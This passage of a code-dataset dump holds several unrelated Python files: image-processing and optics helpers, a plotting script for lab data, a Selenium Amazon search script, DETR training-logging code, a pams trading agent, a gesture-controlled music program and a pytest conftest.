\"\"\"\n if not images or not len(images):\n raise SyntaxError(\"images should be iterable\")\n\n for i, im in enumerate(images):\n if np.iscomplexobj(im):\n im = np.abs(im)\n if normalize:\n min_val = np.min(im.ravel())\n max_val = np.max(im.ravel())\n im = (im - min_val) / (max_val - min_val)\n if self.mpl:\n subplt = plt.subplot(len(images), 1, i+1)\n subplt.set_ylabel(labels[i], fontsize=20)\n plt.imshow(im, cmap='gray')\n else:\n cv2.imshow(self.window_name, im)\n cv2.waitKey(waitSeconds*1000)\n if self.mpl:\n if output:\n plt.savefig(output, bbox_inches='tight', dpi=90)\n else:\n plt.show()\n\n\ndef crop(im, startx, starty, x, y):\n return im[starty:starty+y,startx:startx+x]\n\ndef crop_center(im, cropx, cropy):\n y, x = im.shape\n startx = x//2-(cropx//2)\n starty = y//2-(cropy//2)\n return im[starty:starty+cropy,startx:startx+cropx]\n\ndef readImages(filenames, dtype=None, color_mode=0):\n \"\"\"Read image files as numpy arrays using opencv python wrapper.\n :param filenames list of filenames\n :param color_mode 1 - color, 0 - greyscale(default), -1 - unchanged\n :param dtype data type of returned numpy array (ex. np.float32)\n If any *float* type is used, convert to [0,1] range.\n If not given original is used.\n :return list of numpy arrays\n \"\"\"\n\n images = []\n for name in filenames:\n im = cv2.imread(name, color_mode)\n\n # search for normalization factor (max no. to divide by)\n # update: the same as np.iinfo...:\n # max_no = np.iinfo(im.dtype).max\n max_no = None\n m = re.search(r\"(int|uint)(\\d)\", str(im.dtype))\n if m and m.group(1):\n if m.group(2):\n max_no = 2 ** int(m.group(2)) - 1\n else: # typically int == int64; float == float64\n max_no = 2 ** 64 - 1\n if m.group(1) == 'int': # as the range is [-x/2-1 to x/2]\n max_no //= 2\n else:\n max_abs_in_array = np.nanmax(np.abs(im)) # just normalization\n if max_abs_in_array > 1:\n max_no = max_abs_in_array\n\n if im.dtype != dtype:\n im = np.asarray(im, dtype=dtype)\n\n if max_no and im.dtype in [np.float16, np.float32, np.float64]:\n im = im / max_no\n\n images.append(im)\n\n return images\n\ndef propagateAngularSpectrum(z, ui, wl, n, dx):\n \"\"\"Propagate optical field given in angular spectrum (ui) onto given distance z.\n :param z propagation distance\n :param ui numpy array-like in space domain\n :param n refractive index\n :param dx sample size\n :param wl wavelength\n :return numpy array with output field after propagation\n \"\"\"\n # Convertion to spacial frequency coordinates\n Nx, Ny = ui.shape\n dfx, dfy = 1/Nx/dx, 1/Ny/dx\n fx = np.arange(-Nx//2, Nx//2) * dfx\n fy = np.arange(-Ny//2, Ny//2) * dfy\n FX, FY = np.meshgrid(fy, fx)\n\n # 2D DFT of the ui and shift 0-freq. component to the center of the spectrum\n ui_FT = np.fft.fftshift(np.fft.fft2(ui))\n\n # Transfer Function - rigourous (Fresnel) approach\n # 0j is explicitly given to np.sqrt behave correctly\n fz = np.sqrt((n/wl)**2 + 0j - np.square(FX) - np.square(FY))\n TF = np.exp(2j*np.pi*fz*z)\n\n # FT of convolution: fft(A(*)B) = fft(A)*fft(B)\n uo_FT = np.multiply(ui_FT, TF)\n\n return np.fft.ifft2(np.fft.ifftshift(uo_FT))\n\ndef fiveFrameTemporalPhaseShifting(frames):\n \"\"\"perform 5-frame TPS\n :param frames list of 5 phase frames (numpy 2d arrays)\n :return tuple restored phase of the img (numpy 2d arrays)\n \"\"\"\n for fr in frames:\n assert type(fr) == np.ndarray, \"argument should be list of numpy arrays\"\n\n re = 2*(frames[1] - frames[3])\n im = 2*frames[2] - frames[0] - frames[4]\n phase = np.abs(np.arctan2(re, im)) # like matlab atan2: result is [-pi, pi]\n amp = np.sqrt(np.square(re) + np.square(im))\n\n return phase, amp\n\n","repo_name":"UncleGoogle/mgr","sub_path":"imgproc/imgproc.py","file_name":"imgproc.py","file_ext":"py","file_size_in_byte":5495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9465399035","text":"'''\nCreated on Jan 28, 2015\n\n'''\n\nimport os\n\nfrom matresdev.db.exdb import ExRun\nfrom matresdev.db.simdb import SimDB\nimport numpy as np\nimport pylab as p\nsimdb = SimDB()\n\nparams = {'legend.fontsize': 10,\n # 'legend.linewidth': 2\n }\np.rcParams.update(params)\n\ntest_files = [\n 'DPO-30cm-0-3300SBR-V1.DAT',\n 'DPO-30cm-0-3300SBR-V2.DAT',\n 'DPO-40cm-0-3300SBR-V2.DAT',\n 'DPO-40cm-0-3300SBR-V3.DAT',\n 'DPO-50cm-0-3300SBR-V1.DAT',\n 'DPO-50cm-0-3300SBR-V2.DAT',\n 'DPO-60cm-0-3300SBR-V1.DAT',\n 'DPO-60cm-0-3300SBR-V2.DAT',\n]\n\ntest_file_path = os.path.join(simdb.exdata_dir,\n 'double_pullout',\n '2015-07-15_DPO-30cm-0-3300SBR_R1',\n 'rawdata')\n\ne_list = [ExRun(data_file=os.path.join(test_file_path, test_file))\n for test_file in test_files]\n\ncolor_list = [\n 'r',\n 'r',\n 'g',\n 'g',\n 'b',\n 'b',\n 'k',\n 'k',\n]\n\nlinestyle_list = [\n '-',\n '-',\n '-',\n '-',\n '-',\n '-',\n '-',\n '-',\n]\n\n\ndef plot_all():\n\n fig = p.figure(facecolor='white', figsize=(12, 9))\n fig.subplots_adjust(\n left=0.07, right=0.97, bottom=0.08, top=0.96, wspace=0.25, hspace=0.2)\n\n for idx, e_run in enumerate(e_list):\n e = e_run.ex_type\n\n axes = p.subplot(111)\n\n label = test_files[idx].split('.')[0]\n e._plot_yforce_displacement(axes)\n axes.grid()\n axes.set_xlabel('$\\Delta$ w [mm]')\n axes.set_ylabel('F [kN]')\n\n axes.legend(loc=2)\n\n\nif __name__ == '__main__':\n plot_all()\n p.show()\n","repo_name":"simvisage/simvisage","sub_path":"quaducom/quaducom/devproc/double_pullout/test_reports/report_2015-07-15_DPO-3300SBR_R1_rawdata.py","file_name":"report_2015-07-15_DPO-3300SBR_R1_rawdata.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"20871133678","text":"# SELENIUM\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys \r\nimport time\r\n\r\nPATH = \"C:\\Program Files (x86)\\chromedriver.exe\"\r\ndriver = webdriver.Chrome(PATH)\r\n\r\n# Opens the website\r\ndriver.get(\"https://www.amazon.co.uk/\")\r\n\r\n# Types it into the search bar then presses enter\r\nlink = driver.find_element_by_name(\"field-keywords\")\r\nlink.send_keys(\"Marcus Aurelius - Meditations\", Keys.RETURN)\r\n\r\n# Prints out the text\r\nmain = driver.find_element_by_id(\"search\")\r\nprint(main.text)\r\n\r\ntime.sleep(5)\r\n\r\ndriver.quit()\r\n\r\n","repo_name":"Daniel-A3/WebScrapers","sub_path":"WebScraperAmazon.py","file_name":"WebScraperAmazon.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"37875815206","text":"\"\"\"\n This script is used to process the results of the training (loss, model outputs and targets)\n In order to send everything on wandb.\n\"\"\"\nfrom typing import Union,Dict,Tuple\nimport tensorflow as tf\n\nfrom ..loss.compute_map import cal_map, calc_map, APDataObject\nfrom .wandb_logging import WandbSender\nfrom ..inference import get_model_inference\n\n\nimport numpy as np\nimport cv2\n\nfrom ..import bbox\n\nif int(tf.__version__.split('.')[1]) >= 4:\n RAGGED = True\nelse:\n RAGGED = False\n\n\ndef tf_send_batch_log_to_wandb(images, target_bbox, target_class, m_outputs: dict, config, class_name=[], step=None, prefix=\"\"): \n\n # Warning: In graph mode, this class is init only once. In eager mode, this class is init at each step.\n img_sender = WandbSender()\n\n predicted_bbox = m_outputs[\"pred_boxes\"]\n for b in range(predicted_bbox.shape[0]):\n # Select within the batch the elements at indice b\n image = images[b]\n \n elem_m_outputs = {key:m_outputs[key][b:b+1] if (m_outputs[key] is not None and not isinstance(m_outputs[key], list)) else m_outputs[key] for key in m_outputs}\n\n # Target\n t_bbox, t_class = target_bbox[b], target_class[b]\n\n if not RAGGED:\n size = tf.cast(t_bbox[0][0], tf.int32)\n t_bbox = tf.slice(t_bbox, [1, 0], [size, 4])\n t_bbox = bbox.xcycwh_to_xy_min_xy_max(t_bbox)\n t_class = tf.slice(t_class, [1, 0], [size, -1])\n t_class = tf.squeeze(t_class, axis=-1)\n\n # Predictions\n predicted_bbox, predicted_labels, predicted_scores = get_model_inference(elem_m_outputs, config.background_class, bbox_format=\"xyxy\")\n\n np_func_params = {\n \"image\": image, \"p_bbox\": np.array(predicted_bbox), \"p_scores\": np.array(predicted_scores), \"t_bbox\": np.array(t_bbox),\n \"p_labels\": np.array(predicted_labels), \"t_labels\": np.array(t_class), \"class_name\": class_name\n }\n img_sender.gather_inference(**np_func_params)\n\n img_sender.send(step=step, prefix=prefix)\n\n\n\ndef compute_map_on_batch(images, target_bbox, target_class, m_outputs: dict, config, class_name=[], step=None, send=True, prefix=\"\"): \n predicted_bbox = m_outputs[\"pred_boxes\"]\n batch_size = predicted_bbox.shape[0]\n for b in range(batch_size):\n\n image = images[b]\n elem_m_outputs = {key:m_outputs[key][b:b+1] if (m_outputs[key] is not None and not isinstance(m_outputs[key], list)) else m_outputs[key] for key in m_outputs}\n\n # Target\n t_bbox, t_class = target_bbox[b], target_class[b]\n\n if not RAGGED:\n size = tf.cast(t_bbox[0][0], tf.int32)\n t_bbox = tf.slice(t_bbox, [1, 0], [size, 4])\n t_bbox = bbox.xcycwh_to_yx_min_yx_max(t_bbox)\n t_class = tf.slice(t_class, [1, 0], [size, -1])\n t_class = tf.squeeze(t_class, axis=-1)\n\n # Inference ops\n predicted_bbox, predicted_labels, predicted_scores = get_model_inference(elem_m_outputs, config.background_class, bbox_format=\"yxyx\")\n pred_mask = None\n \n pred_mask = np.zeros((138, 138, len(predicted_bbox)))\n target_mask = np.zeros((138, 138, len(t_bbox)))\n WandbSender.compute_map(\n np.array(predicted_bbox), \n np.array(predicted_labels), np.array(predicted_scores), \n np.array(t_bbox), \n np.array(t_class), \n b, batch_size, prefix, step, send, pred_mask, target_mask)\n\n\n\ndef train_log(images, t_bbox, t_class, m_outputs: dict, config, step, class_name=[], prefix=\"train/\"):\n # Every 1000 steps, log some progress of the training\n # (Images with bbox and images logs)\n if step % 100 == 0:\n tf_send_batch_log_to_wandb(images, t_bbox, t_class, m_outputs, config, class_name=class_name, step=step, prefix=prefix)\n\n\ndef valid_log(images, t_bbox, t_class, m_outputs: dict, config, step, global_step, class_name=[], evaluation_step=200, prefix=\"train/\"):\n\n # Set the number of class\n WandbSender.init_ap_data(nb_class=len(class_name))\n map_list = compute_map_on_batch(images, t_bbox, t_class, m_outputs, config, class_name=class_name, step=global_step, send=(step+1==evaluation_step), prefix=\"val/\")\n \n if step == 0:\n tf_send_batch_log_to_wandb(images, t_bbox, t_class, m_outputs, config, class_name=class_name, step=global_step, prefix=\"val/\")\n","repo_name":"Visual-Behavior/detr-tensorflow","sub_path":"detr_tf/logger/training_logging.py","file_name":"training_logging.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"76"} +{"seq_id":"13716059116","text":"import math\nfrom pams.agents import Agent\nfrom pams.logs import Logger\nfrom pams.market import Market\nfrom pams.order import Cancel\nfrom pams.order import LIMIT_ORDER\nfrom pams.order import Order\nfrom pams.simulator import Simulator\nfrom pams.utils import JsonRandom\nfrom typing import Any, Optional\nfrom typing import TypeVar\nimport random\n\nAgentID = TypeVar(\"AgentID\")\nMarketID = TypeVar(\"MarketID\")\n\nclass aFCNAgent(Agent):\n \"\"\"asymmetric FCN Agent (aFCNAgent) class\n \"\"\"\n def __init__(\n self,\n agent_id: AgentID,\n prng: random.Random,\n simulator: Simulator,\n name: str,\n logger: Optional[Logger]\n ) -> None:\n super().__init__(agent_id, prng, simulator, name, logger)\n\n def is_finite(self, x: float) -> bool:\n return not math.isnan(x) and not math.isinf(x)\n\n def setup(\n self,\n settings: dict[str, Any],\n accessible_market_ids: list[MarketID],\n *args: Any,\n **kwargs: Any\n ) -> None:\n \"\"\"agent setup. Usually be called from simulator / runner automatically.\n\n Args:\n settings (dict[str, Any]): agent configuration. Thie must include the parameters:\n - fundamentalWeight\n - chartWeight\n - feedbackAsymmetry\n - noiseWeight\n - noiseAsymmetry\n - noiseScale\n - timeWindowSize\n - orderMargin\n and can include\n - meanReversionTime\n - orderVolume\n accessible_market_ids (list[MarketID]): _description_\n \"\"\"\n super().setup(\n settings=settings, accessible_markets_ids=accessible_market_ids\n )\n json_random: JsonRandom = JsonRandom(prng=self.prng)\n self.w_f: float = json_random.random(json_value=settings[\"fundamentalWeight\"])\n self.w_c: float = json_random.random(json_value=settings[\"chartWeight\"])\n self.a_feedback: float = json_random.random(\n json_value=settings[\"feedbackAsymmetry\"]\n )\n self.w_n: float = json_random.random(json_value=settings[\"noiseWeight\"])\n self.a_noise: float = json_random.random(\n json_value=settings[\"noiseAsymmetry\"]\n )\n self.noise_scale: float = json_random.random(json_value=settings[\"noiseScale\"])\n self.time_window_size = int(\n json_random.random(json_value=settings[\"timeWindowSize\"])\n )\n self.order_margin: float = json_random.random(json_value=settings[\"orderMargin\"])\n if \"meanReversionTime\" in settings:\n self.mean_reversion_time: int = int(\n json_random.random(json_value=settings[\"meanReversionTime\"])\n )\n else:\n self.mean_reversion_time: int = self.time_window_size\n if \"orderVolume\" in settings:\n self.order_volume: int = int(\n json_random.random(json_value=settings[\"orderVolume\"])\n )\n else:\n self.order_volume: int = 1\n\n def submit_orders(\n self, markets: list[Market]\n ) -> list[Order | Cancel]:\n orders: list[Order | Cancel] = sum(\n [\n self.submit_orders_by_market(market=market) for market in markets\n ], []\n )\n return orders\n\n def submit_orders_by_market(self, market: Market) -> list[Order | Cancel]:\n if not self.is_market_accessible(market_id=market.market_id):\n return []\n time: int = market.get_time()\n time_window_size: int = min(time, self.time_window_size)\n weights: list[float] = self._calc_weights(market, time_window_size)\n fundamental_weight: float = weights[0]\n chart_weight: float = weights[1]\n noise_weight: float = weights[2]\n expected_future_price: float = self._calc_expected_future_price(\n market, fundamental_weight, chart_weight, noise_weight, time_window_size\n )\n assert self.is_finite(expected_future_price)\n orders: list[Order | Cancel] = self._create_order(market, expected_future_price)\n return orders\n\n def _calc_weights(\n self,\n market: Market,\n time_window_size: int\n ) -> list[float]:\n time: int = market.get_time()\n market_price: float = market.get_market_price()\n chart_scale: float = 1.0 / max(time_window_size, 1)\n chart_log_return: float = chart_scale * math.log(\n market_price / market.get_market_price(time - time_window_size)\n )\n chart_weight: float = self.w_c \\\n + self.a_feedback / max(1e-06, 1 + chart_log_return)\n chart_weight = max(0, chart_weight)\n noise_weight: float = self.w_n \\\n + self.a_noise / max(1e-06, 1 + chart_log_return)\n noise_weight = max(0, noise_weight)\n weights: list[float] = [self.w_f, chart_weight, noise_weight]\n return weights\n\n def _calc_expected_future_price(\n self,\n market: Market,\n fundamental_weight: float,\n chart_weight: float,\n noise_weight: float,\n time_window_size: int\n ) -> float:\n time: int = market.get_time()\n market_price: float = market.get_market_price()\n fundamental_price: float = market.get_fundamental_price()\n fundamental_scale: float = 1.0 / max(self.mean_reversion_time, 1)\n fundamental_log_return: float = fundamental_scale * math.log(\n fundamental_price / market_price\n )\n assert self.is_finite(fundamental_log_return)\n chart_scale: float = 1.0 / max(time_window_size, 1)\n chart_log_return: float = chart_scale * math.log(\n market_price / market.get_market_price(time - time_window_size)\n )\n assert self.is_finite(chart_log_return)\n noise_log_return: float = self.noise_scale * self.prng.gauss(mu=0.0, sigma=1.0)\n assert self.is_finite(noise_log_return)\n expected_log_return: float = (\n 1.0 / (fundamental_weight + chart_weight + noise_weight)\n ) * (\n fundamental_weight * fundamental_log_return\n + chart_weight * chart_log_return\n + noise_weight * noise_log_return\n )\n assert self.is_finite(expected_log_return)\n expected_future_price: float = market_price * math.exp(\n expected_log_return * self.time_window_size\n )\n return expected_future_price\n\n def _create_order(\n self,\n market: Market,\n expected_fugure_price: float\n ) -> list[Order | Cancel]:\n orders: list[Order | Cancel] = []\n market_price: float = market.get_market_price()\n if market_price < expected_fugure_price:\n order_price: float = expected_fugure_price * (1 - self.order_margin)\n orders.append(\n Order(\n agent_id=self.agent_id,\n market_id=market.market_id,\n is_buy=True,\n kind=LIMIT_ORDER,\n volume=self.order_volume,\n price=order_price,\n ttl=self.time_window_size\n )\n )\n elif expected_fugure_price < market_price:\n order_price: float = expected_fugure_price * (1 + self.order_margin)\n orders.append(\n Order(\n agent_id=self.agent_id,\n market_id=market.market_id,\n is_buy=False,\n kind=LIMIT_ORDER,\n volume=self.order_volume,\n price=order_price,\n ttl=self.time_window_size\n )\n )\n return orders\n","repo_name":"ryuji-hashimoto0110/pams_environments","sub_path":"envs/agents/afcnagent.py","file_name":"afcnagent.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10651794103","text":"# Main program\n\nimport pickle\nimport traceback\n\nimport cv2\nimport numpy as np\nimport mediapipe as mp\nimport calibrate\n\nimport time\nimport queue\nimport threading\nimport fluidsynth\nimport sound_generation\n\n\n\n\n# Sound and musical time setup\n\n# Initialize FluidSynth and load SoundFont\nfs = fluidsynth.Synth()\nfs.start()\nsfid = fs.sfload('./FluidR3_GM.sf2')\nfs.program_select(0, sfid, 0, 0) # Piano\nfs.program_select(1, sfid, 0, 15) # Dulcimer\nfs.program_select(2, sfid, 0, 77) # Shakuhachi\nfs.program_select(3, sfid, 0, 9) # Glockenspiel\nfs.program_select(4, sfid, 0, 48) # Strings Ensemble\n\n# Create sequencer\nsequencer = fluidsynth.Sequencer(use_system_timer=False)\n\n# Create the sound port\nsynth_port = sequencer.register_fluidsynth(fs)\n\n# Create a flag to control the thread\nthread_running = threading.Event()\nthread_running.set() # Start as True\n\n# Define thread-safe queues for sound parameters and musical timing\nsound_parameters_queue = queue.Queue()\nbeat_queue = queue.Queue()\n\n# Define musical time\nTEMPO = 80 # bpm\nMETER = 4 # quadruple meter\nbeat_duration = 60 / TEMPO\n\n\n# Metronome function (threading musical timing)\n# This function is not used yet\ndef metronome(beat_queue):\n try:\n while thread_running.is_set():\n \n time.sleep(beat_duration)\n beat_queue.put(1)\n \n except Exception as e:\n traceback.print_exc()\n print(f\"Exception in metronome: {e}\")\n\n\n# Sound generation function\ndef generate_sound(sound_parameters_queue, beat_queue):\n try:\n while thread_running.is_set():\n sound_parameters = sound_parameters_queue.get()\n if sound_parameters == 'END':\n break\n\n # Generate sound based on the parameters\n sound_generation.generate(fs, sfid, sequencer, synth_port, sound_parameters_queue, beat_queue)\n\n except Exception as e:\n traceback.print_exc()\n print(f\"Exception in generate_sound: {e}\")\n\n\n# Create and start the sound processing thread\nsound_thread = threading.Thread(target=generate_sound, args=(sound_parameters_queue, beat_queue,))\nsound_thread.start()\n\n# Create and start the metronome thread\nmetronome_thread = threading.Thread(target=metronome, args=(beat_queue,))\nmetronome_thread.start()\n\n\n\n\n\n# Classifier setup\n\n# Loading trained models\nwith open('train_classifiers/right_hand_rf_model.p', 'rb') as f:\n right_rf_model_dict = pickle.load(f)\n right_rf_model = right_rf_model_dict['model']\n\nwith open('train_classifiers/right_hand_iso_model.p', 'rb') as f:\n right_iso_model_dict = pickle.load(f)\n right_iso_model = right_iso_model_dict['model']\n\nwith open('train_classifiers/left_hand_rf_model.p', 'rb') as f:\n left_rf_model_dict = pickle.load(f)\n left_rf_model = left_rf_model_dict['model']\n\nwith open('train_classifiers/left_hand_iso_model.p', 'rb') as f:\n left_iso_model_dict = pickle.load(f)\n left_iso_model = left_iso_model_dict['model']\n\n# MediaPipe hands module\nmp_hands = mp.solutions.hands\nhands = mp_hands.Hands(static_image_mode=False, max_num_hands=2, min_detection_confidence=0.4)\n\n# Initialize the video capture object and set frame size\ncap = cv2.VideoCapture(1)\nwidth, height = 320, 240\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, width)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, height)\n\nmp_hands = mp.solutions.hands\nmp_drawing = mp.solutions.drawing_utils\nmp_drawing_styles = mp.solutions.drawing_styles\n\n\n\n\n# Video capture and sound playing\n\nis_calibrated = False # Always start with calibration\nexit_flag = False # Flag to control main loop\nis_started = False # Flag to control when performance starts\nprevious_time = time.perf_counter()\n\nwhile not exit_flag:\n # Calculate the time delta since the last frame\n current_time = time.perf_counter()\n time_delta = int((current_time - previous_time) * 1000) # Convert to milliseconds\n previous_time = current_time\n\n # Manually advance the sequencer\n sequencer.process(time_delta)\n\n # Frame setting\n ret, frame = cap.read()\n frame = cv2.flip(frame, 1) # Horizontal flip\n image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert the image from BGR to RGB\n H, W, _ = frame.shape\n font = cv2.FONT_HERSHEY_SIMPLEX\n font_scale = 0.7\n font_thickness = 2\n frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n cv2.putText(frame, 'Press \"E\" to exit', (20, 20), font, font_scale, (255, 0, 0), font_thickness, cv2.LINE_AA)\n if not ret:\n print('Video stream has stopped!')\n break\n\n # Process the image to find hand landmarks\n results = hands.process(image)\n\n # Do calibration to position hands decently and get the reference distance between two hands (for later musical dynamics calculation)\n if not is_calibrated:\n is_calibrated, calib_distance = calibrate.calibrate(cap)\n if not is_calibrated:\n exit_flag = True\n\n # Detect hand(s)\n # One hand is detected\n if is_calibrated and (not results.multi_hand_landmarks or results.multi_hand_landmarks and len(results.multi_hand_landmarks)) != 2:\n text = 'Show two hands!'\n text_size, _ = cv2.getTextSize(text, font, font_scale*1.5, font_thickness)\n center_position = ((W - text_size[0]) // 2, (H + text_size[1]) // 2)\n cv2.putText(frame, text, center_position, font, font_scale*1.5, (50, 255, 0), font_thickness, cv2.LINE_AA)\n\n # Two hands are detected\n elif is_calibrated and results.multi_hand_landmarks and len(results.multi_hand_landmarks) == 2:\n # Define empty lists for landmarks, outlier_prediction, prediction, and center coordinates\n landmarks = [[], []]\n outlier_prediction = [None, None]\n prediction = [None, None]\n x_centers = [None, None]\n y_centers = [None, None]\n x_ = [[], []]\n y_ = [[], []]\n\n # Loop through each hand to collect landmarks\n for i, hand_landmarks in enumerate(results.multi_hand_landmarks):\n # Draw hand landmarks and connections on the frame\n mp_drawing.draw_landmarks(\n frame,\n hand_landmarks,\n mp_hands.HAND_CONNECTIONS,\n mp_drawing_styles.get_default_hand_landmarks_style(),\n mp_drawing_styles.get_default_hand_connections_style())\n\n # Collect x and y coordinates\n x_[i] = [landmark.x for landmark in hand_landmarks.landmark]\n y_[i] = [landmark.y for landmark in hand_landmarks.landmark]\n\n # Normalize the landmarks\n for j in range(len(hand_landmarks.landmark)):\n x = hand_landmarks.landmark[j].x\n y = hand_landmarks.landmark[j].y\n landmarks[i].append((x - min(x_[i])) / (max(x_[i]) - min(x_[i])))\n landmarks[i].append((y - min(y_[i])) / (max(y_[i]) - min(y_[i])))\n\n # If less than 21 landmarks detected, fill the rest with 0\n if len(landmarks[i]) < 42:\n landmarks[i].extend([0] * (42 - len(landmarks[i])))\n\n landmarks[i] = np.array([landmarks[i]])\n\n # Determine which hand is left and which is right\n if np.mean(x_[0]) < np.mean(x_[1]):\n left_hand_index, right_hand_index = 0, 1\n else:\n left_hand_index, right_hand_index = 1, 0\n\n for i in [left_hand_index, right_hand_index]:\n # Make a prediction using trained classifiers\n confidence_threshold = 0.8\n if i == left_hand_index:\n # Outlier detection using trained Isolation Forest\n outlier_prediction[i] = left_iso_model.predict(landmarks[i])\n # Make a prediction using trained Random Forest regardless of the outlier prediction\n pred_proba = left_rf_model.predict_proba(landmarks[i])\n confidence = np.max(pred_proba)\n # If the point is not an outlier or the classifier is confident in its prediction\n if outlier_prediction[i] == 1 or confidence > confidence_threshold:\n prediction[i] = left_rf_model.predict(landmarks[i])\n else:\n prediction[i] = 'None'\n else:\n # Outlier detection using trained Isolation Forest\n outlier_prediction[i] = right_iso_model.predict(landmarks[i])\n # Make a prediction using trained Random Forest regardless of the outlier prediction\n pred_proba = right_rf_model.predict_proba(landmarks[i])\n confidence = np.max(pred_proba)\n # If the point is not an outlier or the classifier is confident in its prediction\n if outlier_prediction[i] == 1 or confidence > confidence_threshold:\n prediction[i] = right_rf_model.predict(landmarks[i])\n else:\n prediction[i] = None\n\n # Draw bounding box and label on the frame\n x1 = int(min(x_[i]) * W) - 10\n y1 = int(min(y_[i]) * H) - 10\n x2 = int(max(x_[i]) * W) + 10\n y2 = int(max(y_[i]) * H) + 10\n color = (200, 100, 0) if i == left_hand_index else (0, 100, 200)\n cv2.rectangle(frame, (x1, y1), (x2, y2), color, 4)\n cv2.putText(frame, str(prediction[i]), (x1, y1 - 10), font, font_scale, color, font_thickness, cv2.LINE_AA)\n\n # Get bounding box's coordinate at its center\n x_centers[i] = (x1 + x2) // 2\n y_centers[i] = (y1 + y2) // 2\n\n x_dist = abs(x_centers[1] - x_centers[0])\n y_dist = y_centers[1] - y_centers[0]\n\n # Calculate normalized horizontal distance between two hands (for musical dynamics modulation)\n x_norm_dist = x_dist / (calib_distance * 1.2)\n\n # Calculate the angular degree between the center line and the horizontal line (for pitch bend modulation)\n ver_angle = np.degrees(np.arctan2(y_dist, x_dist))\n\n # Draw the center line\n cv2.line(frame, (x_centers[0], y_centers[0]), (x_centers[1], y_centers[1]), (200, 0, 50), 2)\n\n # Print results\n left_hand_label = prediction[left_hand_index]\n right_hand_label = prediction[right_hand_index]\n if isinstance(left_hand_label, np.ndarray):\n left_hand_label = str(left_hand_label[0]) # Convert to string\n if isinstance(right_hand_label, np.ndarray):\n right_hand_label = str(right_hand_label[0]) # Convert to string\n dynamics_factor = round(x_norm_dist, 2)\n pitch_bend_factor = round(ver_angle, 2)\n #print('{}, {}, {}, {}'.format(left_hand_label, right_hand_label, dynamics_factor, pitch_bend_factor))\n\n # Play sounds\n if not is_started:\n beat_queue.put(1)\n is_started = sound_generation.start(fs, sequencer, synth_port)\n\n sound_parameters = [left_hand_label, right_hand_label, dynamics_factor, pitch_bend_factor]\n sound_parameters_queue.put(sound_parameters)\n\n\n\n # Show the frame with hand landmarks and recognized gestures\n cv2.imshow('Signing and computer music', frame)\n\n # Exit condition. Check for the 'E' key press\n key = cv2.waitKey(1) & 0xFF\n if key == ord('e'):\n exit_flag = True\n\n\n\n# Stop threading\nsound_parameters_queue.put('END')\nthread_running.clear()\nsound_thread.join()\nmetronome_thread.join()\n\n# Release resources and close the video capture\ncap.release()\ncv2.destroyAllWindows()\n\n","repo_name":"hps-nguyen/signing-music","sub_path":"stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":11439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"29469769849","text":"#1)\ndef buscarTodas(a,b):\n\tlista=[]\n\tfor i in range(len(a)):\n\t\tif a[i]==b:\n\t\t\tlista.append(i)\n\t#return (lista) #Transformar en string\n\tstring=\"\"\n\tfor i in lista:\n\t\tstring=string+str(i)+\" \"\n\treturn string.strip()\n\n#Esta bueno >:(","repo_name":"pabloschwarzenberg/grader","sub_path":"tema8_ej2/tema8_ej2_bomunoz.py","file_name":"tema8_ej2_bomunoz.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16702464833","text":"import logging\nimport pytest\nimport os\nimport base64\n\nlog = logging.getLogger(__name__)\n\n\ndef pytest_addoption(parser):\n parser.addoption(\"--infra-branch\", action=\"store\", default=\"main\")\n\n parser.addoption(\"--control-plane-branch\", action=\"store\", default=\"main\")\n\n parser.addoption(\"--bootstrap-branch\", action=\"store\", default=\"main\")\n\n parser.addoption(\n \"--metallb-ip-range\",\n action=\"store\",\n required=True,\n help=\"IP range in the format xxx.xxx.xxx.xxx-xxx.xxx.xxx.xxx\",\n )\n\n\n@pytest.fixture(scope=\"module\")\ndef proxy():\n return \"http://squid.internal:3128\"\n\n\n@pytest.fixture(scope=\"module\")\ndef kubeconfig():\n return \"/var/snap/microk8s/current/credentials/client.config\"\n\n\n@pytest.fixture(scope=\"module\")\ndef infra_branch(request):\n return request.config.getoption(\"--infra-branch\")\n\n\n@pytest.fixture(scope=\"module\")\ndef control_plane_branch(request):\n return request.config.getoption(\"--control-plane-branch\")\n\n\n@pytest.fixture(scope=\"module\")\ndef bootstrap_branch(request):\n return request.config.getoption(\"--bootstrap-branch\")\n\n\n@pytest.fixture(scope=\"module\")\ndef metallb_ip_range(request):\n return request.config.getoption(\"--metallb-ip-range\")\n\n\n@pytest.fixture(scope=\"module\")\ndef gh_token(request):\n if os.environ.get(\"GH_TOKEN\") is None:\n pytest.fail(\"Environment variable GH_TOKEN must be set to your Github PAT\")\n return os.environ.get(\"GH_TOKEN\")\n\n\n@pytest.fixture(scope=\"module\")\ndef cluster_resources(request):\n if os.environ.get(\"B64_RESOURCES\") is None:\n pytest.fail(\n \"Environment variable B64_RESOURCES must be set to your base64 encoded resources to be applied\"\n )\n\n b64_resc = os.environ.get(\"B64_RESOURCES\")\n b64_resc_bytes = b64_resc.encode(\"utf-8\")\n resc_bytes = base64.b64decode(b64_resc_bytes)\n return resc_bytes.decode(\"utf-8\")\n\n\n@pytest.fixture(scope=\"module\")\ndef credentials(request):\n if os.environ.get(\"B64_CREDS\") is None:\n pytest.fail(\n \"Environment variable B64_CREDS must be set to your base64 encoded credentials\"\n )\n\n b64_creds = os.environ.get(\"B64_CREDS\")\n b64_creds_bytes = b64_creds.encode(\"utf-8\")\n creds_bytes = base64.b64decode(b64_creds_bytes)\n return 